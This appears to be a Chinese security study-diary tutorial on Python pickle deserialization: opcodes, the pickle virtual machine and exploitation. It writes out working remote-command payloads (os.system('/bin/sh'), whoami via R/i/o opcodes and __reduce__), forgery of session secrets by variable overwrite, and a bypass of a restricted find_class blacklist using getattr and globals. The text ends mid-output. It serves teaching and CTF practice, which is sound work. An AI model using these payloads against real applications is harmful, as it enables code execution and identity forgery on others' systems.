文章首发于先知社区
皮蛋厂的学习日记系列为山东警察学院网安社成员日常学习分享,希望能与大家共同学习、共同进步~
python的序列化和反序列化 是将一个类对象向字节流转化从而进行存储 和 传输 然后使用的时候 再将字节流转化回原始的对象的一个过程
我们可以用代码 来展示出这个序列化 和反序列化 的过程
import pickle
class Person():
def __init__(self):
self.age=18
self.name="Pickle"
p=Person()
opcode=pickle.dumps(p)
print(opcode)
#结果如下
#b'\x80\x04\x957\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x06Person\x94\x93\x94)\x81\x94}\x94(\x8c\x03age\x94K\x12\x8c\x04name\x94\x8c\x06Pickle\x94ub.'
P=pickle.loads(opcode)
print('The age is:'+str(P.age),'The name is:'+P.name)#结果如下
#The age is:18 The name is:Pickle
pickle.dumps(obj[, protocol])
函数的功能:将obj对象序列化为string形式,而不是存入文件中。 参数讲解:
obj:想要序列化的obj对象。
protocal:如果该项省略,则默认为0。如果为负值或HIGHEST_PROTOCOL,则使用最高的协议版本。
pickle.loads(string)
函数的功能:从string中读出序列化前的obj对象。
string:文件名称。
参数讲解
【注】 dump() 与 load() 相比 dumps() 和 loads() 还有另一种能力:dump()函数能一个接着一个地将几个对象序列化存储到同一个文件中,随后调用load()来以同样的顺序反序列化读出这些对象。
pickle.load(file, *, fix_imports=True, encoding="ASCII", errors="strict")
从文件中读取二进制字节流,将其反序列化为一个对象并返回。
pickle.loads(data, *, fix_imports=True, encoding="ASCII", errors="strict")
从data中读取二进制字节流,将其反序列化为一个对象并返回。
在其中 我们可以看到 我们对象的属性 name 和 age 和我们所属的类 都已经存储在里面了 首先使用了pickle.dumps()
函数将一个Person对象序列化成二进制字节流的形式。然后使用pickle.loads()
将一串二进制字节流反序列化为一个Person对象。
那么反序列化的代码演示如下
import pickle
class People(object):
def __init__(self,name = "fake_s0u1"):
self.name = name def say(self):
print "Hello ! My friends"
a=People()
c=pickle.dumps(a)
d = pickle.loads(c)
d.say()
其输出就是 hello ! my friends
我们可以看出 与php的序列化 其实是大同小异的
当我们在其反序列化之前 将people删除了 那么我们在运行的过程中就会因为对象在当前的运行环境中 没有找到这个类而报错 从而反序列化失败
在Python的官方文档中,对于能够被序列化的对象类型有详细的描述,如下
None
、True
和 False
str
、byte
、bytearray
定义,[lambda]()
函数则不可以) 属性值或 [__getstate__()]()
函数的返回值可以被打包(详情参阅 打包类实例 这一段)对于不能序列化的类型,如lambda函数,使用pickle模块时则会抛出 PicklingError`` 异常。
(1)从对象提取所有属性,并将属性转化为名值对
(2)写入对象的类名
(3)写入名值对
(1)获取 pickle 输入流 (2)重建属性列表 (3)根据类名创建一个新的对象 (4)将属性复制到新的对象中
python为我们提供了两个比较重要的库pickle 和 cpickle 后者 是底层使用c语言书写 速度是pickle 的1000倍 但是接口相同
pickle是Python中一个能够序列化和反序列化对象的模块。和其他语言类似,Python也提供了序列化和反序列化这一功能,其中一个实现模块就是pickle。在Python中,“Pickling” 是将 Python 对象及其所拥有的层次结构转化为一个二进制字节流的过程,也就是我们常说的序列化,而 “unpickling” 是相反的操作,会将字节流转化回一个对象层次结构。
当然在Python 中并不止pickle一个模块能够进行这一操作,更原始的序列化模块如marshal
,同样能够完成序列化的任务,不过两者的侧重点并不相同,marshal
存在主要是为了支持 Python 的.pyc
文件。现在开发时一般首选pickle。
pickle实际上可以看作一种 独立的语言 ,通过对opcode
的编写可以进行Python代码执行、覆盖变量等操作。直接编写的opcode
灵活性比使用pickle序列化生成的代码更高,并且有的代码不能通过pickle序列化得到(pickle解析能力大于pickle生成能力)。
既然opcode能够执行Python代码,那自然就免不了安全问题。以下是Python在pickle文档中的警告。
pickle.dump(文件)
pickle.dumps(字符串)
我们可以查看他的源码 写了一个while循环 用于挨个读取字符 然后将其写到dispatch之中
pickle.load(文件)
pickle.loads(字符串)
他的底层 是通过PVM来实现的 即为python虚拟机 它是实现python序列化 和反序列化的最根本的东西
他是由三个部分组成引擎(或者叫指令分析器),栈区、还有一个 Memo (可以称为标签区)
从头开始读取流中的操作码和参数 并对其进行解释处理 在这个过程中 会改变栈区 和标签区 直到遇到.这个结束符后停止 处理结束之后 会到达栈顶 形成并返回反序列化的对象
作为流数据处理过程中的暂存区 在不断的进出过程中 完成对数据流的反序列化 并最终在栈上生成反序列化的结果 由python的list
实现
如同其名 是数据的一个索引 或者 标记 由python的dict
实现 为PVM整个生命周期提供存储
这个图片可以比较好的解释
当前用于 pickling 的协议共有 5 种。使用的协议版本越高,读取生成的 pickle 所需的 Python 版本就要越新。
pickle协议是向前兼容的 ,0号版本的字符串可以直接交给pickle.loads(),不用担心引发什么意外。下面我们以V0版本为例,介绍一下常见的opcode
注意opcode的书写规范
(1)操作码是单字节的
(2)带参数的指令用换行符定界
MARK = b'(' # push special markobject on stack
STOP = b'.' # every pickle ends with STOP
POP = b'0' # discard topmost stack item
POP_MARK = b'1' # discard stack top through topmost markobject
DUP = b'2' # duplicate top stack item
FLOAT = b'F' # push float object; decimal string argument
INT = b'I' # push integer or bool; decimal string argument
BININT = b'J' # push four-byte signed int
BININT1 = b'K' # push 1-byte unsigned int
LONG = b'L' # push long; decimal string argument
BININT2 = b'M' # push 2-byte unsigned int
NONE = b'N' # push None
PERSID = b'P' # push persistent object; id is taken from string arg
BINPERSID = b'Q' # " " " ; " " " " stack
REDUCE = b'R' # apply callable to argtuple, both on stack
STRING = b'S' # push string; NL-terminated string argument
BINSTRING = b'T' # push string; counted binary string argument
SHORT_BINSTRING= b'U' # " " ; " " " " < 256 bytes
UNICODE = b'V' # push Unicode string; raw-unicode-escaped'd argument
BINUNICODE = b'X' # " " " ; counted UTF-8 string argument
APPEND = b'a' # append stack top to list below it
BUILD = b'b' # call __setstate__ or __dict__.update()
GLOBAL = b'c' # push self.find_class(modname, name); 2 string args
DICT = b'd' # build a dict from stack items
EMPTY_DICT = b'}' # push empty dict
APPENDS = b'e' # extend list on stack by topmost stack slice
GET = b'g' # push item from memo on stack; index is string arg
BINGET = b'h' # " " " " " " ; " " 1-byte arg
INST = b'i' # build & push class instance
LONG_BINGET = b'j' # push item from memo on stack; index is 4-byte arg
LIST = b'l' # build list from topmost stack items
EMPTY_LIST = b']' # push empty list
OBJ = b'o' # build & push class instance
PUT = b'p' # store stack top in memo; index is string arg
BINPUT = b'q' # " " " " " ; " " 1-byte arg
LONG_BINPUT = b'r' # " " " " " ; " " 4-byte arg
SETITEM = b's' # add key+value pair to dict
TUPLE = b't' # build tuple from topmost stack items
EMPTY_TUPLE = b')' # push empty tuple
SETITEMS = b'u' # modify dict by adding topmost key+value pairs
BINFLOAT = b'G' # push float; arg is 8-byte float encodingTRUE = b'I01\n' # not an opcode; see INT docs in pickletools.py
FALSE = b'I00\n' # not an opcode; see INT docs in pickletools.py
# Protocol 2
PROTO = b'\x80' # identify pickle protocol
NEWOBJ = b'\x81' # build object by applying cls.__new__ to argtuple
EXT1 = b'\x82' # push object from extension registry; 1-byte index
EXT2 = b'\x83' # ditto, but 2-byte index
EXT4 = b'\x84' # ditto, but 4-byte index
TUPLE1 = b'\x85' # build 1-tuple from stack top
TUPLE2 = b'\x86' # build 2-tuple from two topmost stack items
TUPLE3 = b'\x87' # build 3-tuple from three topmost stack items
NEWTRUE = b'\x88' # push True
NEWFALSE = b'\x89' # push False
LONG1 = b'\x8a' # push long from < 256 bytes
LONG4 = b'\x8b' # push really big long
_tuplesize2code = [EMPTY_TUPLE, TUPLE1, TUPLE2, TUPLE3]
# Protocol 3 (Python 3.x)
BINBYTES = b'B' # push bytes; counted binary string argument
SHORT_BINBYTES = b'C' # " " ; " " " " < 256 bytes
# Protocol 4
SHORT_BINUNICODE = b'\x8c' # push short string; UTF-8 length < 256 bytes
BINUNICODE8 = b'\x8d' # push very long string
BINBYTES8 = b'\x8e' # push very long bytes string
EMPTY_SET = b'\x8f' # push empty set on the stack
ADDITEMS = b'\x90' # modify set by adding topmost stack items
FROZENSET = b'\x91' # build frozenset from topmost stack items
NEWOBJ_EX = b'\x92' # like NEWOBJ but work with keyword only arguments
STACK_GLOBAL = b'\x93' # same as GLOBAL but using names on the stacks
MEMOIZE = b'\x94' # store top of the stack in memo
FRAME = b'\x95' # indicate the beginning of a new frame
# Protocol 5
BYTEARRAY8 = b'\x96' # push bytearray
NEXT_BUFFER = b'\x97' # push next out-of-band buffer
READONLY_BUFFER = b'\x98' # make top of stack readonly
name | op | params | describe | e.g. |
---|---|---|---|---|
MARK | ( | null | 向栈顶push一个MARK | |
STOP | . | null | 结束 | |
POP | 0 | null | 丢弃栈顶第一个元素 | |
POP_MARK | 1 | null | 丢弃栈顶到MARK之上的第一个元素 | |
DUP | 2 | null | 在栈顶赋值一次栈顶元素 | |
FLOAT | F | F [float] | push一个float | F1.0 |
INT | I | I [int] | push一个integer | I1 |
NONE | N | null | push一个None | |
REDUCE | R | [callable] [tuple] R | 调用一个callable对象 | crandom\nRandom\n)R |
STRING | S | S [string] | push一个string | S 'x' |
UNICODE | V | V [unicode] | push一个unicode string | V 'x' |
APPEND | a | [list] [obj] a | 向列表append单个对象 | ]I100\na |
BUILD | b | [obj] [dict] b | 添加实例属性(修改__dict__ ) | cmodule\nCls\n)R(I1\nI2\ndb |
GLOBAL | c | c [module] [name] | 调用Pickler的find_class ,导入module.name并push到栈顶 | cos\nsystem\n |
DICT | d | MARK [[k] [v]...] d | 将栈顶MARK以前的元素弹出构造dict,再push回栈顶 | (I0\nI1\nd |
EMPTY_DICT | } | null | push一个空dict | |
APPENDS | e | [list] MARK [obj...] e | 将栈顶MARK以前的元素append到前一个的list | ](I0\ne |
GET | g | g [index] | 从memo获取元素 | g0 |
INST | i | MARK [args...] i [module] [cls] | 构造一个类实例(其实等同于调用一个callable对象),内部调用了find_class | (S'ls'\nios\nsystem\n |
LIST | l | MARK [obj] l | 将栈顶MARK以前的元素弹出构造一个list,再push回栈顶 | (I0\nl |
EMPTY_LIST | ] | null | push一个空list | |
OBJ | o | MARK [callable] [args...] o | 同INST,参数获取方式由readline变为stack.pop而已 | (cos\nsystem\nS'ls'\no |
PUT | p | p [index] | 将栈顶元素放入memo | p0 |
SETITEM | s | [dict] [k] [v] s | 设置dict的键值 | }I0\nI1\ns |
TUPLE | t | MARK [obj...] t | 将栈顶MARK以前的元素弹出构造tuple,再push回栈顶 | (I0\nI1\nt |
EMPTY_TUPLE | ) | null | push一个空tuple | |
SETITEMS | u | [dict] MARK [[k] [v]...] u | 将栈顶MARK以前的元素弹出update到前一个dict | }(I0\nI1\nu |
S : 后面跟的是字符串 ( :作为命令执行到哪里的一个标记 t :将从 t 到标记的全部元素组合成一个元祖,然后放入栈中 c :定义模块名和类名(模块名和类名之间使用回车分隔) R :从栈中取出可调用函数以及元祖形式的参数来执行,并把结果放回栈中 . :点号是结束符
序列化是将一个对象 转化为字符串的过程 我们通过pickle 来实现这个过程
我们举一个栗子
opcode=cos
system
(S'/bin/sh'
tR.
我们可以借助上面的操作码 来看一下这个需要怎样来执行
第一行的c 后面是模块名 换行之后是类名 于是就将os.system放入栈中
然后的( 是标记符 我们将一个标记放入栈中
S的后面是字符串 放入栈中
t将栈中标记之前的内容取出来转化成元组 再存入栈中(’/bin/sh’,)随后 标记消失
然后 R将元组取出 并将callable取出 将元组作为callable的参数 并执行 对应这里就是os.system('/bin/sh') 然后再将结果存入栈中
但是并不是所有的对象都能使用 pickle 进行序列化和反序列化,比如说 文件对象和网络套接字对象以及代码对象就不可以
我们可以使用 pickletools模块 将opcode转化成方便我们阅读的形式
import pickletools
opcode=b'''cos
system
(S'/bin/sh'
tR.'''
pickletools.dis(opcode)
'''
输出
0: c GLOBAL 'os system'
11: ( MARK
12: S STRING '/bin/sh'
23: t TUPLE (MARK at 11)
24: R REDUCE
25: . STOP
highest protocol among opcodes = 0
'''
相比于 PHP 反序列化必须要依赖于当前代码中类的存在以及方法的存在,Python 凭借着自己彻底的面向对象的特性完胜 PHP ,Python 除了能反序列化当前代码中出现的类(包括通过 import的方式引入的模块中的类)的对象以外,还能利用其彻底的面向对象的特性来反序列化使用 types 创建的匿名对象,这样的话就大大拓宽了我们的攻击面
对应函数如下
def load_reduce(self):
stack = self.stack
args = stack.pop()
func = stack[-1]
stack[-1] = func(*args)
弹出栈作为函数执行的参数 参数需要是元组形式 随后取栈中最后一个元素作为函数 将指向结果赋值给此元素
cos\nsystem\n
读取下面两行分别为module和name 然后 利用 find_class 寻找对应的方法 pop_mark 获取参数
i操作符将寻找前面的mark来闭合 中间的数据作为元组 将其作为函数参数
(X\x06\x00\x00\x00whoamiios\nsystem\n.
X向后读取四个字符串 将我们的whoami命令压入栈中 i将向后读取 模块与方法os.system 将前面的参数执行
pop_mark的代码如下
先将当前栈赋值给items 然后弹出栈内元素 随后 将这个栈赋值给当前栈 返回items
pop_mark我们上面看到了 就是可以弹出栈内的元素 这里的args就是 先弹出栈中的一个元素作为参数 然后 再弹出第一个元素作为函数
最后 使用instantiate函数进行自执行
可以如下构造
b"(cos\nsystem\nX\x06\x00\x00\x00whoamio."
当栈中存在__setstate__
时 会执行setstate(state) 也就是 这里我们如果自己写一个__setstate__
类 构造os.system 和 whoami即可执行命令
s字符的源码 是将
c__main__\ntest\n)\x81}X\x0c\x00\x00\x00__setstate__cos\nsystem\nsbX\x06\x00\x00\x00whoamib.
首先 搞了主函数和类 __main__
和test 随后 插入空元组和空字典 然后写入__setstate__
c再向后读 得到os.system 字符s将第一个元素和第二个元素作为键值对 插入到第三个元素之中{__main__.test:()},__setstate__,os.system
b字符使第一个元素出栈 也就是{'__setstate__':os.system}
执行一次 setstate(state) 随后插入whoami然后弹出 执行os.system(whoami)
import secretclass Target:
def __init__(self):
obj = pickle.loads(ser) # 输入点
if obj.pwd == secret.pwd:
print("Hello, admin!")
在这里 我们如果要绕过此处的if判断的话 我们需要如何构造呢
我们尝试构造
import pickle
import os
import pickletoolsclass secret:
pwd='123'
class Target:
def __init__(self):
self.pwd=secret.pwd
test = Target()
serialized = pickletools.optimize(pickle.dumps(test, protocol=0))
print(serialized)
b'ccopy_reg\n_reconstructor\n(c__main__\nTarget\nc__builtin__\nobject\nNtR(dVpwd\nV123\nsb.'
在这里 我们的target刚被实例化之后 pwd就被赋值了 但其实 并不知道secret中的pwd是什么
那么我们这里就需要用到 全局引用了 在opcode中是c pickle.Unpickler().find_class(module, name)
就是导入module模块 并返回其中叫name的对象 我们尝试在原有的opcode上进行修改
在上面123的地方修改 \n是换行
b'ccopy_reg\n_reconstructor\n(c__main__\nTarget\nc__builtin__\nobject\nNtR(dVpwd\ncsecret\npwd\nsb.'
我们随便生成一个rce的payload
cposix\nsystem\n(Vwhoami\ntR.
如果R被过滤掉了 我们需要用什么来代替呢
opcode中 b的 作用是 使用栈中的第一个元素(储存多个属性名-属性值 的字典)对第二个元素(对象实例)进行属性或者方法的设置 可以设置实例的方法 那么 我们能不能设置一个方法让其在反序列化中自动运行 我们可以使用__setstate__()
当解封时,如果类定义了 __setstate__()
,就会在已解封状态下调用它。此时不要求实例的 state 对象必须是 dict。没有定义此方法的话,先前封存的 state 对象必须是 dict,且该 dict 内容会在解封时赋给新实例的 __dict__
如果 __getstate__()
返回 False
,那么在解封时就不会调用 __setstate__()
方法。
所以可以这么理解,pickle 时,Python 会封存该实例的 __getstate__
方法返回给它的值;unpickle 时,Python 将 unpickle 后的值作为参数传递给实例的 _setstate_()
方法。而在 _setstate_()
方法内部,是按照事先自定义好的流程来重建实例。
官方文档中的介绍 并没有义务 保证你传入的反序列化的函数的内容是安全的
pickletools的指令集 卡可以帮助我们更好的理解 序列化的过程
我们来看下面这个栗子
import pickle
import os
class Person():
def __init__(self):
self.age=18
self.name="Pickle"
def __reduce__(self):
command=r"whoami"
return (os.system,(command,))
p=Person()
opcode=pickle.dumps(p)
print(opcode)
P=pickle.loads(opcode)
print('The age is:'+str(P.age),'The name is:'+P.name)
我们在这里 在Person类中加入了__reduce__
函数 该函数 能够定义该类的二进制字节流被反序列化时进行的操作 返回值是一个(callable, ([para1,para2...])[,...])
类型的元组。当字节流被反序列化时,Python就会执行callable(para1,para2...)
函数。因此当上述的Person对象被unpickling
时,就会执行os.system(command)
执行结果:b'\x80\x04\x95\x1e\x00\x00\x00\x00\x00\x00\x00\x8c\x02nt\x94\x8c\x06system\x94\x93\x94\x8c\x06whoami\x94\x85\x94R\x94.'
laptop-4cssbgpn\zyc
__reduce__
当然 我们利用的关键点 还是如何构造我们的反序列化的payload 那么 有一个__reduce__
魔术方法 我们rce常用的就是reduce
大部分常见的pickele反序列化 都是利用的reduce
触发reduce的指令码为R
# pickletools.py 1955行
name='REDUCE',
code='R',
arg=None,
stack_before=[anyobject, anyobject],
stack_after=[anyobject],
proto=0,
doc="""Push an object built from a callable and an argument tuple. The opcode is named to remind of the __reduce__() method.
Stack before: ... callable pytuple
Stack after: ... callable(*pytuple)
The callable and the argument tuple are the first two items returned
by a __reduce__ method. Applying the callable to the argtuple is
supposed to reproduce the original object, or at least get it started.
If the __reduce__ method returns a 3-tuple, the last component is an
argument to be passed to the object's __setstate__, and then the REDUCE
opcode is followed by code to create setstate's argument, and then a
BUILD opcode to apply __setstate__ to that argument.
If not isinstance(callable, type), REDUCE complains unless the
callable has been registered with the copyreg module's
safe_constructors dict, or the callable has a magic
'__safe_for_unpickling__' attribute with a true value. I'm not sure
why it does this, but I've sure seen this complaint often enough when
I didn't want to <wink>.
"""
其大意为
取当前栈的栈顶记为args 然后把他弹掉
取当前栈的栈顶记为f 然后把他弹掉
以args为参数 执行函数f 把结果压进当前栈
只要在序列化中的字符串中存在R
指令,__reduce__
方法就会被执行,无论正常程序中是否写明了__reduce__
方法
#coding=utf-8
import pickle
import urllib.request
#python2
#import urllib
import base64class rayi(object):
def __reduce__(self):
# 未导入os模块,通用
return (__import__('os').system, ("whoami",))
# return eval,("__import__('os').system('whoami')",)
# return map, (__import__('os').system, ('whoami',))
# return map, (__import__('os').system, ['whoami'])
# 导入os模块
# return (os.system, ('whoami',))
# return eval, ("os.system('whoami')",)
# return map, (os.system, ('whoami',))
# return map, (os.system, ['whoami'])
a_class = rayi()
result = pickle.dumps(a_class)
print(result)
print(base64.b64encode(result))
#python3
print(urllib.request.quote(result))
#python2
#print urllib.quote(result)
把生成的payload拿到无__reduce__
的正常程序中,命令仍然会被执行
在上面 我们已经提到了reduce的任意执行命令 但是 这种方法 一次只能执行一个命令 如果 我们想要一次执行多个命令 那么我们就要通过手写opcode的方式 来实现了
在opcode中.
时程序结束的标志 我们可以通过去掉.
来将两个字节流拼接起来
import pickleopcode = b'''cos
system
(S'whoami'
tRcos
system
(S'whoami'
tR.'''
pickle.loads(opcode)
'''回显
laptop-4cssbgpn\zyc
laptop-4cssbgpn\zyc
'''
当然 在pickle中 和函数执行的字节码有三个 R i o
所以 我们可以从三个方向构造payload
R
opcode1=b'''cos
system(S'whoami'
tR.'''
i
:相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象)opcode2=b'''(S'whoami'
ios
system
.'''
opcode3=b'''(cos
system
S'whoami'
o.'''
❝注意
部分Linux系统下和Windows下的opcode字节流并不兼容,比如Windows下执行系统命令函数为
os.system()
,在部分Linux下则为posix.system()
。
并且pickle.loads
会解决import 问题,对于未引入的module会自动尝试import。也就是说整个python标准库的代码执行、命令执行函数我们都可以使用。
c
指令码name='GLOBAL',
code='c',
arg=stringnl_noescape_pair,
stack_before=[],
stack_after=[anyobject],
proto=0,
doc="""Push a global object (module.attr) on the stack. Two newline-terminated strings follow the GLOBAL opcode. The first is
taken as a module name, and the second as a class name. The class
object module.class is pushed on the stack. More accurately, the
object returned by self.find_class(module, class) is pushed on the
stack, so unpickling subclasses can override this form of lookup.
"""
简单来说 c指令码就是可以用来调用全局的值
一个小例子
import secret
import pickle
import pickletoolsclass flag():
def __init__(self,a,b):
self.a = a
self.b = b
# new_flag = pickle.dumps(flag('A','B'),protocol=3)
# print(new_flag)
# pickletools.dis(new_flag)
your_payload = b'?'
other_flag = pickle.loads(your_payload)
secret_flag = flag(secret.a,secret.b)
if other_flag.a == secret_flag.a and other_flag.b == secret_flag.b:
print('flag{xxxxxx}')
else:
print('No!')
# secret.py
# you can not see this
a = 'aaaa'
b = 'bbbb'
其中 当我们的other_flag.a == secret_flag.a and other_flag.b == secret_flag.b:
才满足条件 回输出flag 但是 我们此时 是不知道secret中的值的 那么我们怎么样 才能构造payload 拿到flag呢
我们可以看一下一般情况下的flag类
b'\x80\x03c__main__\nflag\nq\x00)\x81q\x01}q\x02(X\x01\x00\x00\x00aq\x03X\x01\x00\x00\x00Aq\x04X\x01\x00\x00\x00bq\x05X\x01\x00\x00\x00Bq\x06ub.'
0: \x80 PROTO 3
2: c GLOBAL '__main__ flag'
17: q BINPUT 0
19: ) EMPTY_TUPLE
20: \x81 NEWOBJ
21: q BINPUT 1
23: } EMPTY_DICT
24: q BINPUT 2
26: ( MARK
27: X BINUNICODE 'a'
33: q BINPUT 3
35: X BINUNICODE 'A'
41: q BINPUT 4
43: X BINUNICODE 'b'
49: q BINPUT 5
51: X BINUNICODE 'B'
57: q BINPUT 6
59: u SETITEMS (MARK at 26)
60: b BUILD
61: . STOP
highest protocol among opcodes = 2
如果 我们在其中传参的地方 修改一下payload 将a 与 b的传参值改为secret.a secret.b
是不是就可以成功调用其中的值了呢
在session或token中,由于需要存储一些用户信息,所以我们常常能够看见pickle的身影。程序会将用户的各种信息序列化并存储在session或token中,以此来验证用户的身份。
假如session或token是以明文的方式进行存储的,我们就有可能通过变量覆盖的方式进行身份伪造。
eg.
#secret.py
secret="This is a key"
import pickle
import secret
print("secret变量的值为:"+secret.secret)
opcode=b'''c__main__
secret
(S'secret'
S'Hack!!!'
db.'''
fake=pickle.loads(opcode)
print("secret变量的值为:"+fake.secret)
'''
secret变量的值为:This is a key
secret变量的值为:Hack!!!
'''
我们首先通过 c 来获取到__main__.secret模块 然后将字符串secret 和 hack压入栈中 然后d字节码将两个字符串组合成字典{'secret':'Hack!!!'}
的形式 由于 在pickle中 反序列化后的数据 会以键值对的形式存储 所以secret模块中的变量secret="This is a key"
是以上面的键值对的形式存储的 然后再通过字节码b来执行__dict__.update()
也就是 {'secret':'This is a key'}.update({'secret':'Hack!!!'})
,因此最终secret变量的值被覆盖成了Hack!!!
。
name='BUILD',
code='b',
arg=None,
stack_before=[anyobject, anyobject],
stack_after=[anyobject],
proto=0,
doc="""Finish building an object, via __setstate__ or dict update. Stack before: ... anyobject argument
Stack after: ... anyobject
where anyobject may have been mutated, as follows:
If the object has a __setstate__ method,
anyobject.__setstate__(argument)
is called.
Else the argument must be a dict, the object must have a __dict__, and
the object is updated via
anyobject.__dict__.update(argument)
通过build指令与c指令的结合 我们可以改写os.system
或其他函数 假设某个类原先没有
实例化对象 也是 一种特殊的函数执行 我们同样 可以通过手写opcode的方式 来构造
import pickle
import pickletools
class Person:
def __init__(self,age,name):
self.age=age
self.name=name
opcode=b'''c__main__
Person
(I18
S'Pickle'
tR.'''
p=pickle.loads(opcode)
print(p)
print(p.age,p.name)
pickletools.dis(opcode)
'''<__main__.Person object at 0x0000022D195592D0>
18 Pickle
0: c GLOBAL '__main__ Person'
17: ( MARK
18: I INT 18
22: S STRING 'Pickle'
32: t TUPLE (MARK at 17)
33: R REDUCE
34: . STOP
highest protocol among opcodes = 0
'''
以上就相当于 手动执行了构造函数 Person(18,'Pickle')
这是一个 可以遍历Python AST的形式 来自动化解析 pickle opcode的工具
pker最主要的有三个函数GLOBAL()
、INST()
和OBJ()
GLOBAL('os', 'system') => cos\nsystem\n
INST('os', 'system', 'ls') => (S'ls'\nios\nsystem\n
OBJ(GLOBAL('os', 'system'), 'ls') => (cos\nsystem\nS'ls'\no
return可以返回一个对象
return => .
return var => g_\n.
return 1 => I1\n.
当然你也可以和Python的正常语法结合起来,下面是使用示例
#pker_test.py
i = 0
s = 'id'
lst = [i]
tpl = (0,)
dct = {tpl: 0}
system = GLOBAL('os', 'system')
system(s)
return
#命令行下
$ python3 pker.py < pker_tests.py
b"I0\np0\n0S'id'\np1\n0(g0\nlp2\n0(I0\ntp3\n0(g3\nI0\ndp4\n0cos\nsystem\np5\n0g5\n(g1\ntR."
自动解析并生成了我们所需的opcode。
关于这个漏洞 其实 在官方的文档中 就有介绍 不要unpickle来自于不受信任 或 未经验证的来源的数据 我们在这里再介绍一种方法 通过重写Unpickler.find_class()
来限制全局变量
import builtins
import io
import pickle
safe_builtins = {
'range',
'complex',
'set',
'frozenset',
'slice',
}
class RestrictedUnpickler(pickle.Unpickler):
#重写了find_class方法
def find_class(self, module, name):
# Only allow safe classes from builtins.
if module == "builtins" and name in safe_builtins:
return getattr(builtins, name)
# Forbid everything else.
raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
(module, name))
def restricted_loads(s):
"""Helper function analogous to pickle.loads()."""
return RestrictedUnpickler(io.BytesIO(s)).load()
opcode=b"cos\nsystem\n(S'echo hello world'\ntR."
restricted_loads(opcode)
###结果如下
Traceback (most recent call last):
...
_pickle.UnpicklingError: global 'os.system' is forbidden
此处通过重写该方法 限制调用模块只能为builtins 而且 函数必须在白名单中 否则抛出异常 这种方式 限制了调用的模块函数 都在白名单内 就保证了unpickle的安全性
想要绕过find_class 我们就需要了解其 何时被调用
❝出于这样的理由,你可能会希望通过定制 Unpickler.find_class() 来控制要解封的对象。 与其名称所提示的不同, Unpickler.find_class() 会在执行对任何全局对象(例如一个类或一个函数)的请求时被调用 。 因此可以完全禁止全局对象或是将它们限制在一个安全的子集中。
c
i
\x93
这三个字节码与全局对象有关 当出现这三个字节码的时候 会调用find_class
当我们使用这三个字节码时不违反其限制即可在一些栗子中 我们常常会见到module=="builtins"
这一限制
if module == "builtins" and name in safe_builtins:
return getattr(builtins, name)
buiitins模块 在我们学习ssti的时候 也会经常见到 他就是 当我们启动python之后 即使没有创建任何的变量或者 函数 还是会有很多函数可以调用 即内置函数 内置函数 都是包含在builtins模块内的
eg.import pickle
import io
import builtins
class RestrictedUnpickler(pickle.Unpickler):
blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'}
def find_class(self, module, name):
# Only allow safe classes from builtins.
if module == "builtins" and name not in self.blacklist:
return getattr(builtins, name)
# Forbid everything else.
raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
(module, name))
def restricted_loads(s):
"""Helper function analogous to pickle.loads()."""
return RestrictedUnpickler(io.BytesIO(s)).load()
以上的代码 限制了我们所使用的模块只能是builtins 而且 不能使用黑名单中的函数
我们可以借鉴python沙箱逃逸的思路 来获取我们想要的函数 以上的代码并没有禁用getattr()
此函数 可以获取对象的属性值 因此 我们可以通过 builtins.getattr(builtins.'eval') 来获取eval函数
接下来 我们得构造一个builtins
模块 来传给getattr的第一个参数 我们可以使用 builtins.global()
函数 来获取builtins
模块包含的内容
import builtins
print(builtins.globals())
#{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'builtins': <module 'builtins' (built-in)>}
从中我们可以看出 在builtins模块中 仍然包含builtins模块 因为上面 返回的是一个字典 所以 我们还需要获取get函数
所以我们最终构造的payload就是builtins.getattr(builtins.getattr(builtins.dict,'get')(builtins.globals(),'builtins'),'eval')(command)
import pickle
import pickletoolsopcode = b'''cbuiltins
getattr
(cbuiltins
dict
S'get'
tR.
'''
pickletools.dis(opcode )
print (pickle.loads(opcode))
然后 获取globals() 字典
import pickle
import pickletoolsopcode = b'''cbuiltins
globals
)R.
'''
pickletools.dis(opcode)
print (pickle.loads(opcode))
0: c GLOBAL 'builtins globals'
18: ) EMPTY_TUPLE
19: R REDUCE
20: . STOP
highest protocol among opcodes = 1
{'__name__': '__main__', '__doc__': None, '__package__': '', '__loader__': None, '__spec__': None, '__file__': 'c:\\Users\\zyc\\Downloads\\main.py', '__cached__': None, '__builtins__': {'__name__': 'builtins', '__doc__': "Built-in functions, exceptions, and other objects.\n\nNoteworthy: None is the `nil' object; Ellipsis represents `...' in slices.", '__package__': '', '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': ModuleSpec(name='builtins', loader=<class '_frozen_importlib.BuiltinImporter'>, origin='built-in'), '__build_class__': <built-in function __build_class__>, '__import__': <built-in function __import__>, 'abs': <built-in function abs>, 'all': <built-in function all>, 'any': <built-in function any>, 'ascii': <built-in function ascii>, 'bin': <built-in function bin>, 'breakpoint': <built-in function breakpoint>, 'callable': <built-in function callable>, 'chr': <built-in function chr>, 'compile': <built-in function compile>, 'delattr': <built-in function delattr>, 'dir': <built-in function dir>, 'divmod': <built-in function divmod>, 'eval': <built-in function eval>, 'exec': <built-in function exec>, 'format': <built-in function format>, 'getattr': <built-in function getattr>, 'globals': <built-in function globals>, 'hasattr': <built-in function hasattr>, 'hash': <built-in function hash>, 'hex': <built-in function hex>, 'id': <built-in function id>, 'input': <built-in function input>, 'isinstance': <built-in function isinstance>, 'issubclass': <built-in function issubclass>, 'iter': <built-in function iter>, 'aiter': <built-in function aiter>, 'len': <built-in function len>, 'locals': <built-in function locals>, 'max': <built-in function max>, 'min': <built-in function min>, 'next': <built-in function next>, 'anext': <built-in function anext>, 'oct': <built-in function oct>, 'ord': <built-in function ord>, 'pow': <built-in function pow>, 'print': <built-in function print>, 'repr': <built-in function repr>, 'round': <built-in function round>, 'setattr': <built-in function setattr>, 'sorted': <built-in function sorted>, 'sum': <built-in function sum>, 'vars': <built-in function vars>, 'None': None, 'Ellipsis': Ellipsis, 'NotImplemented': NotImplemented, 'False': False, 'True': True, 'bool': <class 'bool'>, 'memoryview': <class 'memoryview'>, 